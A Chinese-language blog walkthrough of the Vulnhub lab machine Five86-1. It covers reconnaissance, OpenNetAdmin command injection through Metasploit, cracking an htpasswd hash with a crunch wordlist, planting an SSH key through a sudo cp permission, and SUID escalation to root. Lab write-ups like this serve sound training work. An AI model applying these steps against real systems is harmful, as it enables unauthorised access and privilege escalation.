banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Five86-1-Vulnhub 演练

靶机地址

靶机难度:初级 +

工具及漏洞信息#

  • netdiscover
  • nmap
  • gobuster
  • OpenNetAdmin 命令注入
  • crunch 根据给定字符生成字典
  • john 字典破解 hash

0x01 信息收集#

扫描靶机#

netdiscover-r参数扫描192.168.1.0/16或者路由器管理界面查看有线连接的设备得到靶机ip

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.3

image

靶机开放了228010000三个端口,看了80端口发现是空白的,用curl确认:

image

确实没有内容,再看一下10000端口:

image

Webmin,版本MiniServ 1.920

扫描目录#

gobuster扫描网站目录:

gobuster dir -u http://192.168.1.3 -s 200,301,302,307,401,403 -t 100 -q -x .php,.txt,.html,.zip,.bak,.tar.gz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt

image

发现有robot.txt和一个可疑401目录/reports,访问发现需要认证:

image

robots.txt里面发现目录/ona,与nmap扫描吻合,访问;

image

openNetAdmin v18.1.1(一个IP网络系统和主机管理系统)

信息收集总结#

目前收集到的主要信息如下:

  • ssh 22 端口开放,是否考虑爆破
  • Webmin MiniServ 1.920 10000 端口 是否存在可利用漏洞
  • openNetAdmin v18.1.1 /ona 目录 是否存在可利用漏洞

0x02 OpenNetAdmin 漏洞#

那就分别看看WebminopenNetAdmin有没有能利用的漏洞:

exploit-db:

image

image

searchsploit:

image

OK,那我开启msf搜索模块:

image

可以看到,msf中并没有我们刚才搜到的Unauthenticated RCE(Metasploit)openNetAdmin甚至一个都没有

那我们手动下载exploit-db上的exploit文件并移入msfexploit数据库:

/usr/share/metasploit-framework/modules/exploits/

重启 Metasploit 就可以直接使用两个 exp 了,先使用Webmin的看一下:

image

竟然只支持Webmin<= 1.910版本,那试下openNetAdmin:

image

成功获取到meterpreter会话

0x03 普通用户提权#

如果要从meterpreter进入shell记得用Python获取一个tty,不然有些命令是无法执行的

python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c

我这里先不进入,老规矩,查看下当前目录、网站目录、家目录:

image

当前目录没啥,看下网站目录:

image

在网站目录,我们刚才不能访问的/reports子目录中的.htaccess文件中找到提示

/var/www/.htpasswd中找到如下提示:

douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1

# To make things slightly less painful (a standard dictionary will likely fail),
# use the following character set for this 10 character password: aefhrt

给出了一个用户名和密码的hash值,提示我们需要爆破,密码位数为 10 位,包含aefhrt这 6 个字符

kali自带的工具crunch生成密码字典,crunch可以根据我们指定的字符以及最大最小个数创建字典

Usage: crunch <min> <max> [options]

于是我使用crunch 10 10 aefhrt -o passwd生成密码字典:

image

再使用john来爆破hash:

echo '$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1' > hash
john --wordlist=passwd hash

在经历了漫长的等待之后得到密码fatherrrrr,于是我们使用douglas:登录ssh:

douglas:fatherrrrr
ssh douglas@192.168.1.3

sudo -l查看当前用户的权限

image

发现可以以jen的权限执行cp命令,于是准备切换到jen账户

0x04 提权 root#

ssh-keygen生成密钥,将公钥拷贝到/home/jen/.ssh目录下,之后使用jen账户登录:

ssh-keygen -b 2048
cp /home/douglas/.ssh/id_rsa.pub /tmp/authorized_keys

image

这个时候我们来到/tmp(临时目录)下给authorized_keys这个文件一个可执行权限

使用sudojen用户权限去执行 cp 命令,把刚刚生成的authorized_keys移动到/home/jen/.ssh/

chmod 777 /tmp/authorized_keys
sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh/
ssh jen@127.0.0.1

image

这里登录jen账户的时候提示我们有一封邮件,在/var/mail/中找到了这封名为jen的邮件:

image

从邮件得知了用户密码Moss:Fire!Fire!SSH链接登陆之~

moss:Fire!Fire!
ssh moss@192.168.1.3

切换到moss账户后,又到了我熟悉的SUID提权,用find查看

find / -perm -u=s -type f 2>/dev/null

image

发现了SUID权限的/home/moss/.games/upyourgame,好像是个游戏,去玩一下:

image

啥狗屁逻辑,就是刁难一下你,然后直接给了root权限,最后在root目录成功拿到flag:

image

本文完。

参考文章:

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。